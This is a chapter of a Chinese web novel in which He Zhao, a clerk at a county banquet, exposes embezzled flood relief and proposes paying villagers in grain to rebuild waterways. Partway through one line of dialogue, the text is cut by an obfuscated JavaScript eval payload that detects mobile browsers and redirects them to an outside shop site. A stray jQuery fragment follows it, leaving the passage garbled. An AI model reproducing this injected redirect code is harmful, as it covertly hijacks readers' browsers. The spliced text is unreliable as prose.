里正怎么也在这里?
何昭心里疑惑,面上却很平静。
她先是作揖对众人行了一礼,这才抬头嘴角带笑地看向坐在首位的县太爷宋志文,朗声说道:
“诸位有礼,何昭晚来,有失礼仪,还请各位见谅!”
清脆悦耳的少年声音在众人耳边响起,打消了众人因被打扰而产生的不快感。
宋志文此刻的神情比与何昭初见温和了不少,他笑着点点头,目光在何昭身上停留了一瞬,这才指了指末尾,示意何昭入座。
在场的众人都注意到县太爷的这个小动作,不由得都在打量何昭。
何昭感受到众人的视线,却已经不紧不慢地来到末尾坐下。
她的旁边正是许典吏和周文两人。
两人见到何昭过来只简单的点了点头,便又把视线放到县太爷那边。
原来是县太爷旁边的许先生不知悄声给县太爷说了什么,导致县太爷直接哈哈大笑。
众人的视线也都被吸引了过去。
何昭趁此机会打量宴会上的众人,除了县太爷、许先生以及他们三个小吏以外,宴会上还有几个人。
何昭仔细辨认了下,便发现城中有名的几个富商和里正。
此时,微风轻轻拂过,他们所说的三言两语也传入了何昭的耳朵里。
原来是几个富商想与新来的县太爷交好,便拖着里正一起来县衙拜访县太爷,同时还带上好些礼物。
众人一片欢歌笑语,何昭仔细听了会儿,见见都是些阿谀奉承之话,便一边暗暗打量众人,一边品尝县衙的美食。
她心里暗想,还是李氏亲手做的饭菜更加好吃。
突然间,何昭隐约听到了自己的名字。
她顺势抬头,正好与众人的视线都撞了个正着,只见许典吏不知何时已经站到县太爷的面前。
他面色涨红,一脸的兴奋激动之态,好像花孔雀开屏一般,恨不得吸引所有人的视线。
而他此刻看到何昭一动不动,又变得焦急起来,恨不得一把将何昭扯到跟前来。
何昭也不耽搁,立即快步几步就来到许典吏旁边,一眼就看见了被县太爷拿在手里的新账册。
宋志文又随手翻了翻账册,笑着看向何昭询问道:
“听说这账册是你们三人一起新做的?”
县太爷的话音刚落,何昭明显能感受到许典吏的身份立即紧绷了起来。
何昭笑了笑,又向县太爷拱手道:“都是许典吏和周书办两人出力较多,我只是跟在他们身后做些力所能及的事情而已!”
此话一出,何昭能感觉到许典吏要放松了许多。
而上面的县太爷也不再询问此事,反而向何昭询问徐家村的事情。
何昭的神色严肃了许多,她直视县太爷的双眼,声音低沉:
“启禀大人,徐家村遭受的洪灾比我们预想的要严重许多!”
“因为上任县太爷中饱私囊,既贪污了徐家村原本用来清理河道、治理水患的工钱,又把朝廷送来的赈灾粮也悄悄贪墨!”
“导致徐家村原本由几百户人口,逐渐没落,如今整个村子更是被荒草覆盖。”
“何昭斗胆,恳求县太爷向朝廷详细解释此事,并再派赈灾粮给予徐家村的难民!”
随着何昭的话音落下,整个宴会都随着安静下来,只听得众人或轻或浅的呼吸声。
县太爷宋志文脸上的笑意已经消失不见。
此刻,里正却突然从宴会中出列,先是向不紧不慢的县太爷宋志文躬身,又转身朝身后坐着的几个富商行礼后才严肃道:
“听得何小吏说起,我们才知道徐家村竟然一直被前任县太爷愚弄。”
“而我们只知道把募来的钱粮都交给前任县太爷,竟然从未想过派人去追查这些捐献钱粮的踪迹。”
“这说起来,其实我们这些祁县本地的富商的疏忽!”
“既然如今徐家村的惨景还在眼前,不如这样吧,我们重新捐献一批钱粮,再派可靠之人送去徐家村。”
“这样大人也就不必再去向朝廷索要钱粮,免得让朝廷以为我们祁县地方小却糟心事不断,连累到大人的名声就不好了。”
里正一边开口,一边不时地看向众人。
众富商听到里正所说,竟然也齐齐站起身来:“里正所言极是,我等愿意为大人解忧!”
县太爷在上面见到这幕,脸上扬起笑容,心情顿时又好了起来,就连说话都要轻快许多。
他蓦然点了点头,视线扫过了众人一圈后,笑着开口道:
“本官就知道祁县的商户都是有心之人,既然如此,那么这件事情就交给你们去办吧!”
“若是你们办得好,本官也会在公文里面为各位求得表彰!”
里正以及几个富商听完县太爷所说内容,瞬间便都喜笑颜开,连忙感谢县太爷给他们机会。
一时间,宾客尽欢,里正和商户们便都也回到各自座位坐下,只剩下许典吏和何昭两人。
何昭这时见到县太爷在上面挥了挥手,明白了县太爷的意思。
她身旁的许典吏也已经十分有眼色地退了下去。
但想到徐家村的惨状,何昭还是站在原地不动。
县太爷在上面发现了何昭的动静,有些疑惑地询问。
何昭抬起头,再次行了一礼,直直看向上方的县太爷宋志文才回道:
“启禀大人,何昭在前往徐家村的路上,发现沧江水势湍急,若是徐家村的水道疏通得当,便再不可能遭受洪灾了!”
“再加上现在天气已经入凉,这时候雨水很少,若是可以趁现在修建水道,便是事半功倍!”
何昭刚一说完,一个富商便从中插嘴,他满脸不屑,唾沫口水在空中齐飞:
“哼,你个毛都没长齐的小子,能懂什么!”
“这水道便是你说修建便能修建的吗?”
何昭却直接转身,视线准确无误地对上富商,直盯得富商颇为不自在地在座位上扭来扭去。
她这才转身又对着县太爷,眼神真挚,一字一句地说道:
“启禀大人,何昭已经画好了徐家水势图,同时把应该梳理的水道,和可以改换的水道路线都标记了出来!”
说罢,何昭将自己画出的徐家村水势图拿了出来,呈到了县太爷的案上。
县太爷拿起图纸,便招呼他旁边的许先生一起观看。
两人看了水势图的大概,不断地啧啧称奇。
然而,只是片刻,县太爷和宋志文两人便又看着何昭摇了摇头:
“何昭,你的想法很好,本官也很赞同,但如今徐家村的难民都难以果腹。”
“本官也没有权利让其他百姓来服劳役,所以,你这个想法很好,但只能搁置了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940775|213911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
!”
何昭闻言并不气馁,她一手指着那些富商,一边又向上面的许先生和县太爷解释道:
“大人和许先生误会了,我知道徐家村村民的处境,但刚刚里正和众位富商都说愿意帮助徐家村的村民!”
“但是与其免费施粥搭棚,不如把这批粮食用来给他们当做工钱!”
“这样他们既不会饿肚子,同时为了后代考虑都会认真严格地修建水道!”
何昭说完抬头,便见众人的视线都牢牢地粘在她身上,眼神中有种种情绪流转。
而上方的县太爷宋志文和许先生都一脸恍然大悟的高兴样子,也都紧紧地盯着何昭。
“何昭呀,你这个想法的确是石破天惊,但本官细细想来,又觉得确实有可行之处!”
“这样吧,本官先和许先生商议过后,再看是否要采纳你的建议!”
何昭闻言,见已经达到自己的目的,便果断地退了回去。
她刚一落座,就见旁边的许典吏和周文两人都神色复杂地看向她。
何昭对着两人微微笑了一笑,便又低头只顾着尝菜。
没过多久,县太爷便以明早有事处理为由,让众人散宴。
何昭十分担心守在县衙外面的李氏,因此脚步走得飞快。然而,就在又快速转过一个转角时,她的身后,却隐隐约约传来喊她停下的声音。
何昭原本想置之不理,然而,这个声音有点熟悉——是里正。
想到她们母子俩的尴尬身份,何昭想了想,便直接站在原地,等着里正气喘吁吁地追了上来。
“哎,我说何老弟,你怎么走得如此飞快啊!”
“里正大人有事吗?”
里正笑呵呵,看着何昭道:“何老弟,之前县太爷给我提过要把你们母子俩的户籍加上,我前两天事多,便把这事交给我管家去办了!”
“刚刚我问我管事,才知道他这事还没办妥当了,我担心何老弟你着急,便上来告诉你一声!”
“原来是这样啊,那何昭提前谢过里正大人了!”
何昭假装是第一次知晓此事的样子,连忙向里正感谢道。
“哎,瞧何老弟这话,不是说得太客气了吗!”
“我本姓李,何老弟不嫌弃的话,就唤我一声李兄就是!”
何昭也不客气,当即便唤了一声李兄,使得里正更加笑得合不拢嘴。
“对了,何老弟,我看你年龄也不小了,家里可给你定下婚事啊?”
“我家中刚好有一个小妹年龄与你差不多,不如,我把我家幼妹许配给你如何!”
何昭顿时被雷得不轻,连忙摇头道:
“多谢李兄好意了,不过我自幼体弱,大师说我要等过冠礼后才能成亲!”
“所以只能辜负李兄美意了!”
里正闻言脸上立即流露出可惜的神情。
何昭却担心里正还会冒出什么惊天之语,又连忙把李氏正在县衙门外等他的事情说出。
里正无奈,只能和何昭匆匆道别,并邀请何昭一定要来登门做客。
何昭噌噌几步,很快就走出县衙大门,看那架势好似后面有条恶犬在追似的。
李氏从树下站出来,见何昭这副样子颇有些不解道:
“昭儿,怎么了?”
何昭却顾不得跟李氏解释,见里正还呆在县衙还未出来,连忙拽着李氏回家。